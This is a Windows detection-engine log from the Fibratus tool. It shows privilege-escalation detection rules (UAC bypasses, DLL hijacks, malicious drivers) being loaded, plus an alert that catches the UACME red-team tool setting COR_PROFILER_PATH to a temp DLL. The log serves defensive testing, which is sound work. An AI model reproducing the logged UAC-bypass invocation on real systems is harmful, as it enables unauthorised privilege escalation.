msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-03T13:03:17+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-03T13:03:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-03T13:03:59+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-03T13:04:00+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-03T13:05:56+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-03T13:05:56+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-03T13:05:56+01:00 level=info msg=bootstrapping with pid 7376. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-03T13:05:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false to=>[] port=>25 use-template=>true content-type=>text/html] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ flush-interval=>1s min-buffers=>16 buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true enable-handle=>false enable-image=>true enable-dns=>false enable-audit-api=>true enable-fileio=>true enable-net=>true max-buffers=>36 enable-vamap=>true enable-registry=>true enable-mem=>true enable-threadpool=>false enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info log-stdout=>true max-backups=>15 formatter=>text max-age=>0 max-size=>100] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] amqp=>[ exchange-type=>topic vhost=>/ delivery-mode=>transient timeout=>5s url=>amqp://localhost:5672 passive=>false exchange=>fibratus enabled=>false routing-key=>fibratus durable=>false tls-insecure-skip-verify=>false] elasticsearch=>[ healthcheck=>true healthcheck-interval=>10s healthcheck-timeout=>5s enabled=>false timeout=>5s trace-log=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus gzip-compression=>false bulk-workers=>1 flush-period=>1s index-name=>fibratus sniff=>false] http=>[ enable-gzip=>false timeout=>5s serializer=>json method=>POST endpoints=>[] enabled=>false tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false fastscan=>true excluded-files=>[] skip-files=>false skip-allocs=>false excluded-procs=>[] scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-03T13:05:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-03T13:05:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-03T13:10:02+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-03T13:10:02+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-03T13:10:02+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-03T13:26:58+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-03T13:26:58+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-03T13:26:58+01:00 level=info msg=bootstrapping with pid 10940. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-03T13:26:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ content-type=>text/html port=>25 use-template=>true to=>[] enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-fileio=>true enable-image=>true enable-threadpool=>false enable-vamap=>true min-buffers=>16 enable-thread=>true enable-net=>true stack-enrichment=>true enable-mem=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false buffer-size=>512 flush-interval=>1s enable-audit-api=>true max-buffers=>36 enable-handle=>false enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text log-stdout=>true max-size=>100 level=>info max-backups=>15] + output ......................... [ amqp=>[ url=>amqp://localhost:5672 durable=>false timeout=>5s exchange-type=>topic passive=>false exchange=>fibratus vhost=>/ delivery-mode=>transient enabled=>false routing-key=>fibratus tls-insecure-skip-verify=>false] http=>[ endpoints=>[] timeout=>5s serializer=>json enabled=>false enable-gzip=>false method=>POST tls-insecure-skip-verify=>false] elasticsearch=>[ sniff=>false enabled=>false healthcheck-timeout=>5s trace-log=>false flush-period=>1s servers=>[http://127.0.0.1:9200] timeout=>5s bulk-workers=>1 gzip-compression=>false template-name=>fibratus healthcheck=>true index-name=>fibratus healthcheck-interval=>10s] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-allocs=>false excluded-files=>[] scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-mmaps=>false fastscan=>true excluded-procs=>[] skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-03T13:26:59+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-03T13:27:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-03T13:30:45+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-03T13:30:46+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-03T13:30:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-03T13:31:41+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-03T13:31:41+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-03T13:31:41+01:00 level=info msg=bootstrapping with pid 7240. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-03T13:31:41+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html port=>25 use-template=>true enabled=>false to=>[]] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-fileio=>true enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 flush-interval=>1s enable-mem=>true enable-threadpool=>false enable-handle=>false enable-registry=>true buffer-size=>512 enable-vamap=>true max-buffers=>36 enable-thread=>true enable-net=>true enable-dns=>false enable-image=>true stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-backups=>15 formatter=>text max-age=>0 max-size=>100] + output ......................... [ amqp=>[ vhost=>/ enabled=>false durable=>false routing-key=>fibratus passive=>false exchange-type=>topic timeout=>5s url=>amqp://localhost:5672 delivery-mode=>transient tls-insecure-skip-verify=>false exchange=>fibratus] eventlog=>[ enabled=>false level=>info] http=>[ serializer=>json method=>POST enabled=>false enable-gzip=>false endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] elasticsearch=>[ gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck=>true index-name=>fibratus flush-period=>1s healthcheck-timeout=>5s healthcheck-interval=>10s timeout=>5s sniff=>false trace-log=>false template-name=>fibratus bulk-workers=>1 enabled=>false]] + pe ............................. [ read-sections=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-mmaps=>false skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] excluded-procs=>[] fastscan=>true skip-registry=>false scan-timeout=>10s skip-allocs=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-03T13:31:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-03T13:31:44+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-03T13:31:52+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 1653901 + Pid: 12968 + Tid: 7952 + Type: RegSetValue + CPU: 1 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-03 13:31:50.2806753 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffab869157ecc0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14695981039346656037 + + Pid: 12968 + Ppid: 15068 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes 